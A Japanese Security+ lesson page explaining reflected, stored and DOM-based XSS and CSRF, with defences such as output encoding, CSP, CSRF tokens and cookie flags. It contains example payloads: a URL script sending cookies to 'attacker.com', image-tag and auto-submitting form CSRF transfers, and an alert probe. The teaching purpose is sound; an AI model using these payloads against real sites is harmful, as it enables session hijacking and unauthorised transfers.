クロスサイトスクリプティング(XSS)とCSRF
反射型、蓄積型、DOMベースのXSSとクロスサイトリクエストフォージェリ攻撃、およびそれらを阻止するブラウザレベルの防御を理解します。
「クロスサイトスクリプティング(XSS)とCSRF」はCoddyKit上の無料Security+ Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはSecurity+ Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Security+ Academyコースには全4レッスンが含まれています。
クロスサイトスクリプティングとは
クロスサイトスクリプティング(XSS)は、他のユーザーが閲覧するWebページに攻撃者が悪意のあるスクリプトを注入する、クライアント側のインジェクション脆弱性です。サーバーを標的とするSQLインジェクションとは異なり、XSSは被害者のブラウザーを標的にします。ブラウザーが攻撃者のスクリプトを描画すると、そのスクリプトは正規のページスクリプトと同じ権限で実行されるため、セッションハイジャック、認証情報の窃取、マルウェアの配布が可能になります。
反射型XSSの仕組み
反射型XSSは、悪意のあるスクリプトがURLに埋め込まれ、サーバーが適切なエンコーディングを行わずにHTTPレスポンスへ直ちに「反射」して返す場合に発生します。被害者は、フィッシングリンクなどを通じて細工されたURLをクリックするよう誘導され、その結果、ブラウザーで攻撃者のスクリプトが実行されます。反射型XSSは非永続的であり、被害者が悪意のあるリンクをクリックしたときにのみ実行されます。
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>格納型XSSとDOMベースXSS
格納型(永続型)XSSは、コメントやフォーラムへの投稿など、アプリケーションのデータベースに悪意のあるスクリプトを埋め込みます。そのコンテンツを閲覧したすべてのユーザーのブラウザーでスクリプトが実行されるため、格納型XSSは反射型XSSよりはるかに危険です。DOMベースXSSは、クライアント側のJavaScriptがDOM(URLフラグメントなど)から攻撃者に制御されたデータを読み取り、それを安全でない方法でページに書き戻すときに、ブラウザー内だけで発生します。
XSS対策:エンコーディングとCSP
XSSに対する主要な防御策は出力エンコーディングです。ブラウザーで描画する前に、特殊文字を対応するHTMLエンティティ(<、>、&)へ変換します。Content Security Policy(CSP)ヘッダーは実行可能なスクリプトを制限し、重要な二次防御策となります。サーバー側では入力検証(許可リスト)も行う必要があります。
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sourcesクロスサイトリクエストフォージェリとは
クロスサイトリクエストフォージェリ(CSRF)は、認証済みユーザーのブラウザーをWebサイトが信頼していることを悪用します。攻撃者は、被害者がログインしているサイトに対して、不要な認証済みリクエストを被害者のブラウザーから送信させます。ブラウザーはセッションCookieを自動的に付加するため、対象サーバーはそのリクエストを正当なものと判断します。一般的なCSRF攻撃では、資金の送金、メールアドレスの変更、アカウント設定の変更などが行われます。
CSRF攻撃の仕組み
ユーザーがbank.comの銀行サイトにログインしているとします。攻撃者は、隠し画像タグを含むメールを送信します:<img src='https://bank.com/transfer?to=attacker&amount=1000'>。メールを開くと、ブラウザーは画像のURLを自動的に読み込み、被害者の銀行セッションCookieを付けて送金リクエストを送信します。銀行はそれを正当なリクエストとして処理します。
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>CSRF対策:トークンとSameSite
CSRFに対する最も効果的な防御策はCSRFトークンです。これはすべてのフォームに埋め込む一意で予測困難な値で、サーバー側で検証します。攻撃者は異なるオリジンからこのトークンを読み取れないため(同一オリジンポリシー)、偽造されたリクエストには有効なトークンが含まれず、拒否されます。SameSite Cookie属性(SameSite=StrictまたはLax)も、クロスサイトリクエストでブラウザーがCookieを送信するのを防ぎます。
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSSとCSRF:主な違い
XSSとCSRFは混同されがちですが、異なる対象を攻撃します。XSSは、被害者のブラウザーで実行される悪意のあるスクリプトを注入し、ユーザーがWebサイトを信頼していることを悪用します。CSRFは、被害者のブラウザーから信頼されたサイトへ偽造リクエストを送信し、Webサイトがユーザーのブラウザーを信頼していることを悪用します。XSSを利用してCSRFトークンを窃取し、2つの脆弱性を連鎖させることも可能です。
HttpOnlyとSecureのCookieフラグ
Cookieフラグは、XSSに対する重要な緩和策となります。HttpOnlyフラグは、JavaScriptがdocument.cookieを介してCookieにアクセスするのを防ぐため、XSSが存在する場合でもセッショントークンの窃取を困難にします。Secureフラグは、CookieがHTTPS経由でのみ送信されるようにし、暗号化されていない通信経路での傍受を防ぎます。多層防御の対策として、すべてのセッションCookieに両方のフラグを設定する必要があります。
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600XSS脆弱性のテスト
セキュリティテスターは、すべての入力フィールド、URLパラメーター、HTTPヘッダー、JSONフィールドにプローブペイロードを注入して、XSSを特定します。単純なプローブとしては<script>alert(1)</script>があり、アラートボックスが表示されればXSSが確認されます。Burp SuiteなどのツールはXSSスキャンを自動化し、OWASP ZAPは無料のアクティブスキャンを提供します。DOMベースXSSには、サーバーレスポンスの検査ではなく、ブラウザー側のJavaScriptの分析が必要です。
XSSがもたらす現実の影響
XSS攻撃は、現実に重大な被害を引き起こしています。Samyワームは、格納型XSSを悪用して自らを拡散し、2005年に20時間でMySpace上の100万件を超えるプロフィールに広がりました。XSS攻撃では、セッショントークンを窃取してアカウントを完全に乗っ取ったり、ユーザーをフィッシングサイトへリダイレクトしたり、ブラウザーエクスプロイト(ドライブバイダウンロード)を配布したり、標的ユーザーに誤った情報を表示するようページ内容を改変したりできます。
クイックチェック
このレッスンで扱ったCompTIA Security+(SY0-701)の概念を理解できているか確認します。
レッスンのまとめ
このレッスンでは、XSSは他のユーザーが閲覧するページにスクリプトを注入すること、CSRFは認証済みブラウザーをだまして偽造リクエストを送信させること、そして出力エンコーディング、CSP、CSRFトークン、SameSite Cookie属性が主要な防御策であることを学びました。次は、認証の不備と安全でないデシリアライゼーションについて学びます。
よくある質問
「クロスサイトスクリプティング(XSS)とCSRF」レッスンは無料ですか?
はい。「クロスサイトスクリプティング(XSS)とCSRF」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Security+ Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Security+ Academyコースには全4レッスンが含まれています。
「クロスサイトスクリプティング(XSS)とCSRF」で何を学びますか?
反射型、蓄積型、DOMベースのXSSとクロスサイトリクエストフォージェリ攻撃、およびそれらを阻止するブラウザレベルの防御を理解します。 ブラウザで直接実行するハンズオンコードでSecurity+ Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Security+ Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのSecurity+ Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。
「クロスサイトスクリプティング(XSS)とCSRF」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このSecurity+ Academyレッスンでコードを書いて実行できますか?
はい。すべてのSecurity+ Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- SQLインジェクションとコマンドインジェクション
- クロスサイトスクリプティング(XSS)とCSRF
- 認証の不備と安全でないデシリアライゼーション
- セキュアSDLC、SAST、DASTツール